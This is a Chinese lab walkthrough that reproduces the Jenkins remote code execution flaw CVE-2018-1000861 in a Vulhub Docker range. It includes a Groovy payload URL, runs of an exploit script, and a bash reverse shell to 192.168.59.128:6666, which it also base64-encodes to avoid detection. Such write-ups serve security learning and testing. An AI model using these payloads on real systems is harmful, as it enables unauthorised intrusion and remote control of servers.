Jenkins远程命令执行漏洞复现:原理详解+环境搭建+渗透实践(CVE-2018-1000861 3种方法)
目录
一、Jenkins远程命令执行漏洞
1、漏洞简介
2、漏洞原理
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
2、下载 Vulhub
3、进入漏洞环境
4、启动漏洞环境
5、查看环境状态
三、渗透实战
1、访问环境
2、脚本法法启动攻击
3、验证攻击效果
4、Hackbar法启动攻击
5、验证攻击效果
四、反弹shell实战
1、攻击机监听
2、目标机建立连接
① 原始命令
② base64编码
③ 攻击目标机
3、反弹shell成功
本文通过vulhub靶场的Jenkins远程命令执行漏洞关卡讲解CVE-2018-1000861漏洞原理、渗透环境搭建、并通过三种方法进行渗透的全流程(包括命令执行、反弹shell)。
一、Jenkins远程命令执行漏洞
1、漏洞简介
CVE-2018-1000861 是 Jenkins 核心和插件中存在的一个高危的远程代码执行(RCE)漏洞。该漏洞源于 Jenkins 的 “安全审计”(Security Realm) 和 “用户管理” 功能中的一个缺陷。
| 特性 | 描述 |
|---|---|
| 漏洞编号 | CVE-2018-1000861 |
| 漏洞类型 | 权限检查绕过 → 远程代码执行 (RCE) |
| 危险等级 | 高危 (Critical) |
| 触发条件 | 未授权或低权限访问(依赖配置) |
| 影响组件 | Jenkins 核心、Script Security 插件 |
| 利用方式 | 构造特殊 HTTP POST 请求执行 Groovy 代码 |
| 最终结果 | 以 jenkins 用户身份执行系统命令 |
| 修复方案 | 升级 Jenkins 核心和插件 |
2、漏洞原理
Jenkins 提供 /securityRealm/user/[username]/descriptorByName/[descriptor]/checkField 的 HTTP API 端点。这个端点原本的设计目的是让系统在用户注册或修改资料时,异步验证用户输入的用户名、邮箱等字段是否合法(例如,邮箱格式是否正确)。
-
预期行为: 这个功能应该只允许具有相应权限(如“用户创建”权限)的用户访问。
-
漏洞所在: 但该端点的权限检查机制存在缺陷。攻击者可以通过在
[descriptor]部分插入特定的路径(如org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript),从而将请求重定向到处理 Groovy 脚本的解析器。 -
利用过程:
-
攻击者构造一个特殊的 POST 请求,访问上述有缺陷的 API 端点。
-
在请求的
value参数中,嵌入恶意的 Groovy 代码(例如:"print println('whoami'.execute().text)".execute())。 -
由于权限检查被绕过,Jenkins 服务器会直接执行
value参数中的 Groovy 代码。 -
Groovy 代码可以调用 Java 的
"command".execute()方法,从而在底层操作系统上执行任意命令。
-
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
本文使用Vulhub复现Jenkins-CI漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker
2、下载 Vulhub
将 Vulhub 项目克隆到本地,具体命令如下所示。
git clone https://github.com/vulhub/vulhub.git
cd vulhub
3、进入漏洞环境
Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。
# 进入CVE-2018-1000861 Jenkins漏洞
cd jenkins
cd CVE-2018-1000861

4、启动漏洞环境
在CVE-2018-1000861目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。
docker-compose up -d
命令执行后,Docker 会完成拉取一个包含jenkins:2.138(受影响版本)的镜像。
5、查看环境状态
使用 docker ps 命令确认容器启动状态,如下所示当前运行的容器aa98ee4783f7 属于 Vulhub 搭建的CVE-2018-1000861漏洞复现环境。
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
aa98ee4783f7 vulhub/jenkins:2.138 "/sbin/tini -- /usr/…" 9 minutes ago Up 9 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp, 0.0.0.0:50000->50000/tcp, :::50000->50000/tcp cve-2018-1000861_jenkins_1

-
容器 ID:aa98ee4783f7
-
vulhub/jenkins:2.138: 这是存在漏洞的 Jenkins 2.138.3 版本。 -
Up 9 minutes: 它已经正常运行了 9 分钟。 -
端口映射:
-
:8080: 你可以用浏览器打开http://localhost:8080看到 Jenkins 网页。 -
:50000: 这是另一个服务端口,但本次攻击不用这个端口。
-
-
容器名
cve-2018-1000861_jenkins_1: 你可以用这个名字来操作它,比如进入容器看看攻击是否成功:docker exec -it cve-2018-1000861_jenkins_1 ls /tmp,检查是否创建了success文件。
三、渗透实战
1、访问环境
Docker启动完成后,访问 http://[靶机IP地址]:8080 来查看 Jenkins 界面。以本机为例,ip地址为192.168.59.128,端口号为8080, 故而访问http://192.168.59.128:8080,打开后可以看到 Jenkins 的解锁界面,说明环境启动成功。

2、脚本法法启动攻击
我们尝试执行一个命令,例如 touch /tmp/mooyuan888。如果成功,会在目标服务器的 /tmp 目录下创建一个名为mooyuan888的文件,这是漏洞利用成功的标志。我们先进入容器,查看下/tmp下文件,如下所示不存在mooyuan888这个文件。

vulhub-master/jenkins/CVE-2018-1000861中包含攻击脚本,在攻击机kali中执行PoC攻击命令。
python2 poc.py http://192.168.59.128:8080 "touch /tmp/mooyuan888"
如下所示,出现如图所示“Exploit success!”提示信息,表明poc发送成功。

3、验证攻击效果
查看/tmp路径下的文件及子路径,如下所示在/tmp路径下成功创建了mooyuan888文件,命令执行成功,说明漏洞复现成功。

4、Hackbar法启动攻击
浏览器利用hackbar发送PoC,为与脚本法做区别,本次计划使用touch /tmp/mooyuan666。如果成功,会在目标服务器的 /tmp 目录下创建一个名为mooyuan666的文件,这是漏洞利用成功的标志具体内容如下所示,PoC内容如下所示。
http://192.168.59.128:8080//securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"touch /tmp/mooyuan666".execute()}
}
点击“execute”按钮,向目标服务器发送poc,如下图所示。

5、验证攻击效果
查看/tmp路径下的文件及子路径,如下所示在/tmp路径下成功创建了mooyuan666文件,命令执行成功,说明漏洞复现成功。

四、反弹shell实战
1、攻击机监听
计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。
nc -lvvp 6666
-
nc: 网络瑞士军刀工具(Netcat),用于处理网络连接。 -
-l: 监听(Listen) 模式,等待别人来连接。 -
-v: 显示详细信息(Verbose),让你能看到谁连接上了。 -
-p 6666: 在 6666 端口(Port) 上进行监听。

2、目标机建立连接
在目标系统上创建一个反向 shell(反向连接),命令如下所示。它的作用是让当前机器主动连接到攻击者的机器,并提供一个可交互的命令行终端。
① 原始命令
bash -i >& /dev/tcp/192.168.59.128/6666 0>&1
-
bash -i: 启动一个交互式的(interactive)Bash shell。 -
>& /dev/tcp/192.168.59.128/6666:-
>/dev/tcp/192.168.59.128/6666: Bash 的一个特性,可以建立一个 TCP 连接,连接到 IP 地址为192.168.59.128的机器的6666端口。 -
>&: 将标准输出(stdout) 和标准错误(stderr) 都重定向到这个 TCP 连接。
-
-
0>&1: 将标准输入(stdin) 也重定向到同一个 TCP 连接(即标准输出指向的地方)
整体效果就是让被攻击的服务器主动连接IP为 192.168.59.128 的机器的 6666 端口,并建立一个远程控制会话。具体如下所示。
-
执行这条命令的服务器(靶机)会主动去连接
192.168.59.128:6666。 -
连接建立后,在这个 Bash 中所有的输入和输出(你打的命令和命令返回的结果)都会通过这个 TCP 连接传输。
-
在
192.168.59.128这台机器上监听 6666 端口的人(攻击者),就获得了对方服务器的一个远程命令行控制权。
② base64编码
对命令进行base64编码,使用在线网址https://base64.us/ 即可,编码后内容如下所示。
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=

于是编码后的命令如下所示,目的是绕过某些命令检测机制,最终在目标系统上建立反向连接,让攻击者获得交互式 shell。这种方式通过编码隐藏真实命令。
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE= | base64 -d | bash
-
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=:输出一段 Base64 编码的字符串,这段字符串解码后是反向 shell 命令。 -
base64 -d:对前面输出的 Base64 字符串进行解码,得到原始命令bash -i >& /dev/tcp/192.168.59.128/6666 0>&1。 -
bash:将解码后的命令传递给 bash 执行,最终效果是让目标主机主动连接 IP 为 192.168.59.128、端口为 6666 的机器,建立交互式 shell,使攻击者获得目标系统的远程控制权限。
③ 攻击目标机
终端命令行输入如下命令,向目标服务器发送反弹poc。
python2 poc.py http://192.168.59.128:8080 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"
如下所示,出现如图所示“Exploit success!”提示信息,表明poc发送成功。

3、反弹shell成功
此时查看kali攻击机的监听,已经成功连接,输入whoami返回正确结果,渗透成功。

